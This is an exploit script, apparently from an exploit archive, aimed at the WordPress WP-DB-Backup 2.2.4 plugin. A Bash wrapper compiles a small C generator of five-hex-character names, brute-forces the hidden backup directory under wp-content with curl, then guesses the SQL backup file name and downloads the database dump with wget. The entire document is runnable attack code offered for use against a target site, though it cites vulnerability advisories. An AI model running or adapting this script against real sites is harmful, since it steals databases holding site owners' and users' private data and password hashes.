WordPress WP-DB-Backup 2.2.4 Backup Theft

`#!/bin/bash  
#Larry W. Cashdollar, @_larry0  
#Will brute force and search a Wordpress target site with WP-DB-Backup v2.2.4 plugin installed for any backups done on  
#20141031 assumes the wordpress database is wordpress and the table prefix is wp_  
#http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-db-backup-v2.2.4/  
#http://thehackerblog.com/auditing-wp-db-backup-wordpress-plugin-why-using-the-database-password-for-entropy-is-a-bad-idea/  
#run ./exp targetsite  
  
DATE="20141031"; #Date to search  
  
if [ ! -e rainbow ]; then  
  
cat << -EOF- > rbow.c  
/*Create rainbow table for guessing wp-backup-db v2.2.4 backup path   
Larry W. Cashdollar*/  
#include <stdio.h>  
int  
main (void)  
{  
char string[16] = "0123456789abcdef";  
int x, y, z, a, b;  
for (x = 0; x < 16; x++)  
for (y = 0; y < 16; y++)  
for (z = 0; z < 16; z++)  
for (a = 0; a < 16; a++)  
for (b = 0; b < 16; b++)  
printf ("%c%c%c%c%c\n", string[x], string[y], string[z],  
string[a], string[b]);  
return(0);  
}  
-EOF-  
echo "[+] Compiling rbow.c"  
gcc rbow.c -o rbow  
echo "[+] Creating rainbow table..."  
./rbow > rainbow  
fi  
  
if [ ! -e found.txt ]; then  
Z=0  
K=`wc -l rainbow|awk '{print $1}'`;  
echo "[+] Searching....";  
for x in `cat rainbow`; do   
CPATH="http://$1/wp-content/backup-$x/";  
RESULT=`curl -s --head $CPATH|grep 200`;  
if [ -n "$RESULT" ]; then  
echo "[+] Location $CPATH Found";  
echo "[+] Received $RESULT";  
echo $x > found.txt;  
break; #break here  
fi;  
echo -n "Percent Done: ";  
Y=`echo "scale=6;($Z/$K)*100"|bc`;  
echo -n $Y  
echo "%";  
Z=$(( $Z + 1 ));  
done  
else  
x=`cat found.txt`;  
fi  
  
# Now that we have the directory lets try to locate the database backup file.  
  
K=999;  
for y in `seq -w 0 999`; do   
CPATH="http://$1/wp-content/backup-$x/wordpress_wp_$2_$y.sql"; #change WP Database Name and Table Prefix here  
RESULT=`curl -s --head $CPATH|grep 200`;  
if [ -n "$RESULT" ]; then  
echo "[+] Database backup $CPATH Found";  
echo "[+] Received $RESULT";  
wget $CPATH  
exit; #break here  
fi;  
echo -n "Percent Done: ";  
Y=`echo "scale=2;($Z/$K)*100"|bc`;  
echo -n $Y  
echo "%";  
Z=$(( $Z + 1 ));  
done  
`